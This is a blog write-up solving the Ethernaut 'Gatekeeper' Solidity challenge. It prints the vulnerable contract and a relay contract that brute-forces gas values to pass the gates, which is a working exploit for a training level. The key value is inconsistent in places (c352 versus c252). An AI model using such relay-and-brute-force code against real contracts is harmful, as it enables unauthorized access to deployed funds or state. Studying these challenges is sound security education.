# Ethernaut 12: Gatekeeper

By [0xbanky](https://paragraph.com/@banky) · 2022-08-22

---

Solving the 12th ethernaut challenge, Gatekeeper. This challenge makes use of a few techniques that have been developed in some previous exercises.

[https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A](https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A)

Investigation
=============

For this challenge, we want to pass three require blocks to allow our user to enter. The contract looks like this

    import '@openzeppelin/contracts/math/SafeMath.sol';
    
    contract GatekeeperOne {
    
      using SafeMath for uint256;
      address public entrant;
    
      modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
      }
    
      modifier gateTwo() {
        require(gasleft().mod(8191) == 0);
        _;
      }
    
      modifier gateThree(bytes8 _gateKey) {
          require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
          require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
          require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
        _;
      }
    
      function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
      }
    }
    

There are three modifiers that we need to successfully pass

Solution
========

To pass `gateOne`, I simply needed to pass the message through a proxy contract. This way, `msg.sender != tx.origin`will return true. This works because `tx.origin` is the initiator of the transaction while `msg.sender` is the caller of the function. So `tx.origin` will be my wallet and `msg.sender` will be the proxy contract.

I’ll skip `gateTwo` for now since it is more difficult. To get through `gateThree`, a few casting checks need to be passed. From the last `require` statement, we see that `uint32(uint64(_gateKey)) == uint16(tx.origin)` must be true. Casting an address to `uint16` will take only the last two bytes of `tx.origin` and convert them to decimal. Thus, the last two bytes of `_gateKey` must be the last four hex values of my wallet. In my case `0xc252`.

Moving upwards in the require chain, we see that `uint64(_gateKey)` must be different from `uint32(_gateKey)`. We can make this happen by setting a bit that is out of reach for `uint32`. I did this by setting the highest bit in a 64 bit value. So my new `_gateKey` is `0x100000000000c352`. To verify this, I used a solidity repl which I found here:

[https://github.com/raineorshine/solidity-repl](https://github.com/raineorshine/solidity-repl)

    uint32(uint64(gatekey));
    // 49746
    
    uint64(gatekey);
    // 1152921504606896978
    

The last require statement just makes sure that the `uint32` and `uint16` values of my gate key are the same. These values are equal here since the lower 4 bytes and lower 8 bytes of `0x100000000000c352`are equal.

The final modifier is `gateTwo`. This is tricky because it is very difficult to calculate exact gas costs of a call chain on the EVM. This is because different solidity compiler versions may use different gas costs for the same operations. So that I don’t lose my mind, I just did a brute force calculation in my proxy contract by setting different gas values until one of them worked. My proxy contract looks like this

    contract Gatekeeper1Relay {
      address public gatekeeper1Address;
    
      constructor(address _gatekeeper1Address) {
        gatekeeper1Address = _gatekeeper1Address;
      }
    
      function enter() public {
        bytes8 gateKey = 0x100000000000c252;
    
        for (uint gas = 0; gas < 8191; ++gas) {  //for loop example
          (bool success, ) = gatekeeper1Address.call{gas: 100000 + gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
    
          if (success) {
            return;
          }
        }
    
        require(false);
      }
    }
    

I use the `gateKey` that was determined previously. Then, I call the `enter` function on the target contract with an initial gas of `100000`. This call then loops through the gas values until one of them successfully breaks in to the contract. If none of them work, then I force the transaction to fail with `require(false)`.

Note that I used `++gas` instead of `gas++` in the for loop. I did this because I recently learned that the prefix increment is actually cheaper than postfix since it does not need to do an assignment. Small optimization but worth noting.

By calling `enter` on my proxy contract, the problem gets solved.

What I learned
==============

1.  The solidity repl I linked is extremely useful for running single lines of solidity code to see how the platform works
    
2.  Casting to smaller values in solidity. I’m working on a bigger writeup about this because there are some interesting caveats between the way casting works for `bytes` versus other types such as `uint` and `int`
    
3.  When all else fails, brute force 😏

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-12-gatekeeper)*
